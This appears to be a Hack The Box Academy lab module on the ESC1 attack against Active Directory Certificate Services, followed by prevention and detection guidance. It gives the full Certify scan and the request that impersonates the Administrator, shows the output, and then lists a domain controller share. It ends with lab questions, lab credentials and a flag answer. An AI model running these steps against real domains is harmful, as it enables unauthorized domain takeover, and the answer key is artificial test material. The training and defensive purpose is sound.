After SpectreOps released the research paper Certified Pre-Owned, Active Directory Certificate Services (AD CS) became one of the most favorite attack vectors for threat agents due to many reasons, including:
Using certificates for authentication has more advantages than regular username/password credentials.
Most PKI servers were misconfigured/vulnerable to at least one of the eight attacks discovered by SpectreOps (various researchers have discovered more attacks since then).
There are a plethora of advantages to using certificates and compromising the Certificate Authority (CA):
Users and machines certificates are valid for 1+ years.
Resetting a user password does not invalidate the certificate. With certificates, it doesn't matter how many times a user changes their password; the certificate will still be valid (unless expired or revoked).
Misconfigured templates allow for obtaining a certificate for any user.
Compromising the CA's private key results in forging Golden Certificates.
These advantages make certificates the preferred method for long-term persistence. While SpectreOps disclosed eight privilege escalation techniques, we will examine the first, ESC1, to demonstrate how it works. The description of ESC1 is:
Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT.
Attack
To begin with, we will use Certify to scan the environment for vulnerabilities in the PKI infrastructure:
PS C:\Users\bob\Downloads> .\Certify.exe find /vulnerable_________/____||| (_)/_|||______||__||___||/_ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0[*] Action: Find certificate templates[*] Using the search base 'CN=Configuration,DC=eagle,DC=local'[*] Listing info about the Enterprise CA 'eagle-PKI-CA' Enterprise CA Name : eagle-PKI-CA DNS Hostname : PKI.eagle.local FullName : PKI.eagle.local\eagle-PKI-CA Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED Cert SubjectName : CN=eagle-PKI-CA, DC=eagle, DC=local Cert Thumbprint : 7C59C4910A1C853128FE12C17C2A54D93D1EECAA Cert Serial : 780E7B38C053CCAB469A33CFAAAB9ECE Cert Start Date : 09/08/2022 14.07.25 Cert End Date : 09/08/2522 14.17.25 Cert Chain : CN=eagle-PKI-CA,DC=eagle,DC=local UserSpecifiedSAN : Disabled CA Permissions : Owner: BUILTIN\Administrators S-1-5-32-544 Access Rights Principal Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11 Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544 Allow ManageCA, ManageCertificates EAGLE\Domain Admins S-1-5-21-1518138621-4282902758-752445584-512
Allow ManageCA, ManageCertificates EAGLE\Enterprise Admins S-1-5-21-1518138621-4282902758-752445584-519
Enrollment Agent Restrictions : None[!] Vulnerable Certificates Templates : CA Name : PKI.eagle.local\eagle-PKI-CA Template Name : UserCert Schema Version : 4 Validity Period : 10 years Renewal Period : 6 weeks msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS Authorized Signatures Required : 0 pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email, Smart Card Log-on
mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email, Smart Card Log-on
Permissions Enrollment Permissions Enrollment Rights : EAGLE\Domain Admins S-1-5-21-1518138621-4282902758-752445584-512 EAGLE\Domain Users S-1-5-21-1518138621-4282902758-752445584-513 EAGLE\Enterprise Admins S-1-5-21-1518138621-4282902758-752445584-519 Object Control Permissions Owner : EAGLE\Administrator S-1-5-21-1518138621-4282902758-752445584-500 WriteOwner Principals : EAGLE\Administrator S-1-5-21-1518138621-4282902758-752445584-500 EAGLE\Domain Admins S-1-5-21-1518138621-4282902758-752445584-512 EAGLE\Enterprise Admins S-1-5-21-1518138621-4282902758-752445584-519 WriteDacl Principals : EAGLE\Administrator S-1-5-21-1518138621-4282902758-752445584-500 EAGLE\Domain Admins S-1-5-21-1518138621-4282902758-752445584-512 EAGLE\Enterprise Admins S-1-5-21-1518138621-4282902758-752445584-519 WriteProperty Principals : EAGLE\Administrator S-1-5-21-1518138621-4282902758-752445584-500 EAGLE\Domain Admins S-1-5-21-1518138621-4282902758-752445584-512 EAGLE\Enterprise Admins S-1-5-21-1518138621-4282902758-752445584-519Certify completed in 00:00:00.9120044
When checking the 'Vulnerable Certificate Templates' section from the output of Certify, we will see that a single template with plenty of information about it is listed. We can tell that the name of the CA in the environment is PKI.eagle.local\eagle-PKI-CA, and the vulnerable template is named UserCert. The template is vulnerable because:
All Domain users can request a certificate on this template.
The flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is present, allowing the requester to specify the SAN (therefore, any user can request a certificate as any other user in the network, including privileged ones).
Manager approval is not required (the certificate gets issued immediately after the request without approval).
The certificate can be used for 'Client Authentication' (we can use it for login/authentication).
To abuse this template, we will use Certify and pass the argument request by specifying the full name of the CA, the name of the vulnerable template, and the name of the user, for example, Administrator:
PS C:\Users\bob\Downloads> .\Certify.exe request /ca:PKI.eagle.local\eagle-PKI-CA /template:UserCert /altname:Administrator
_________/____||| (_)/_|||______||__||___||/_ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0[*] Action: Request a Certificates[*] Current user context : EAGLE\bob[*] No subject name specified, using current context as subject.[*] Template : UserCert[*] Subject : CN=bob, OU=EagleUsers, DC=eagle, DC=local[*] AltName : Administrator[*] Certificate Authority : PKI.eagle.local\eagle-PKI-CA[*] CA Response : The certificate had been issued.[*] Request ID : 36[*] cert.pem :-----BEGIN RSA PRIVATE KEY-----MIIE...<SNIP><SNIP>wgP7EwPpxHKOrlZr6H+5lS58u/9EuIgdSk1X3VWuZvWRdjL15ovn-----END RSA PRIVATE KEY----------BEGIN CERTIFICATE-----MIIGLzCCBRegAwIBAgITFgAAACx6zV6bbfN1ZQAAAAAALDANBgkqhkiG9w0BAQsF<SNIP><SNIP>eVAB-----END CERTIFICATE-----[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:15.8803493
Once the attack finishes, we will obtain a certificate successfully. The command generates a PEM certificate and displays it as base64. We need to convert the PEM certificate to the PFX format by running the command mentioned in the output of Certify (when asked for the password, press Enter without providing one), however, to be on the safe side, let's first execute the below command to avoid bad formatting of the PEM file.
Fares22110@htb[/htb]$sed-i's/\s\s\+/\n/g'cert.pem
Then we can execute the openssl command mentioned in the output of Certify.
Now that we have the certificate in a usable PFX format (which Rubeus supports), we can request a Kerberos TGT for the account Administrator and authenticate with the certificate:
After successful authentication, we will be able to list the content of the C$ share on DC1:
PS C:\Users\bob\Downloads> dir \\dc1\c$ Directory: \\dc1\c$Mode LastWriteTime Length Name---------------------------d-----10/15/20226:30 PM DFSReportsd-----10/13/202211:23 PM Mimikatzd-----9/1/20229:49 PM PerfLogsd-r---11/28/202210:59 AM Program Filesd-----9/1/20222:02 PM Program Files (x86)d-----12/13/202211:22 AM scriptsd-r---8/7/20229:31 PM Usersd-----11/28/202211:27 AM Windows
Prevention
The attack would not be possible if the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is not enabled in the certificate template. Another method to thwart this attack is to require CA certificate manager approval before issuing certificates; this will ensure that no certificates on potentially dangerous templates are issued without manual approval (which hopefully correlates that the request originated from a legit user).
Because there are many different privilege escalation techniques, it is highly advised to regularly scan the environment with Certify or other similar tools to find potential PKI issues.
Detection
When the CA generates the certificate, two events will be logged, one for the received request and one for the issued certificate, if it succeeds. Those events have the IDs of 4886 and 4887 as shown below:
Unfortunately, we can only tell that Bob requested a certificate from WS001; we cannot know if the request specified the SAN.
The CA contains a list of all issued certificates, so if we look there, we will see the request for certificate ID 36 (the one from the attack scenario above):
The general overview of the GUI tool does not display the SAN either, but we can tell that a certificate was issued via the vulnerable template. If we want to find the SAN information, we'll need to open the certificate itself:
There is also the possibility to view that programmatically: the command certutil -view will dump everything on the CA with all of the information about each certificate (this can be massive in a large environment):
With some scripting, we can automate parsing and discovery of abused vulnerable templates by threat agents.
Finally, if you recall, in the attack, we used the obtained certificate for authentication and obtained a TGT; AD will log this request with the event ID 4768, which will specifically have information about the logon attempt with a certificate:
Note that events 4886 and 4887 will be generated on the machine issuing the certificate rather than the domain controller. If GUI access is not available, we can use PSSession to interact with the PKI machine, and the Get-WinEvent cmdlet to search for the events:
PS C:\WINDOWS\system32>New-PSSession PKI Id Name ComputerName ComputerType State ConfigurationName Availability----------------------------------------------------------------4 WinRM4 PKI RemoteMachine Opened Microsoft.PowerShell AvailablePS C:\WINDOWS\system32>Enter-PSSession PKI[PKI]: PS C:\Users\htb-student\Documents>Get-WINEvent-FilterHashtable @{Logname='Security'; ID='4886'} ProviderName: Microsoft-Windows-Security-AuditingTimeCreated Id LevelDisplayName Message------------------------------------4/13/20234:05:50 PM 4886 Information Certificate Services received a certificate request....4/11/20231:24:02 PM 4886 Information Certificate Services received a certificate request....4/11/20231:15:01 PM 4886 Information Certificate Services received a certificate request....[PKI]: PS C:\Users\htb-student\Documents>Get-WINEvent-FilterHashtable @{Logname='Security'; ID='4887'} ProviderName: Microsoft-Windows-Security-AuditingTimeCreated Id LevelDisplayName Message------------------------------------4/13/20234:06:05 PM 4887 Information Certificate Services approved a certificate request and...4/13/20234:06:02 PM 4887 Information Certificate Services approved a certificate request and...4/11/20231:24:14 PM 4887 Information Certificate Services approved a certificate request and...4/11/20231:24:14 PM 4887 Information Certificate Services approved a certificate request and...4/11/20231:15:12 PM 4887 Information Certificate Services approved a certificate request and..
To view the full audit log of the events, we can pipe the output into Format-List , or save the events in an array and check them individually:
1) Connect to the Kali host first, then RDP to WS001 as 'bob:Slavi123' and practice the techniques shown in this section. What is the flag value located at \dc1\c$\scripts?
Answer: Pk1_Vuln3r@b!litY
2) After performing the ESC1 attack, connect to PKI (172.16.18.15) as 'htb-student:HTB_@cademy_stdnt!' and look at the logs. On what date was the very first certificate requested and issued?
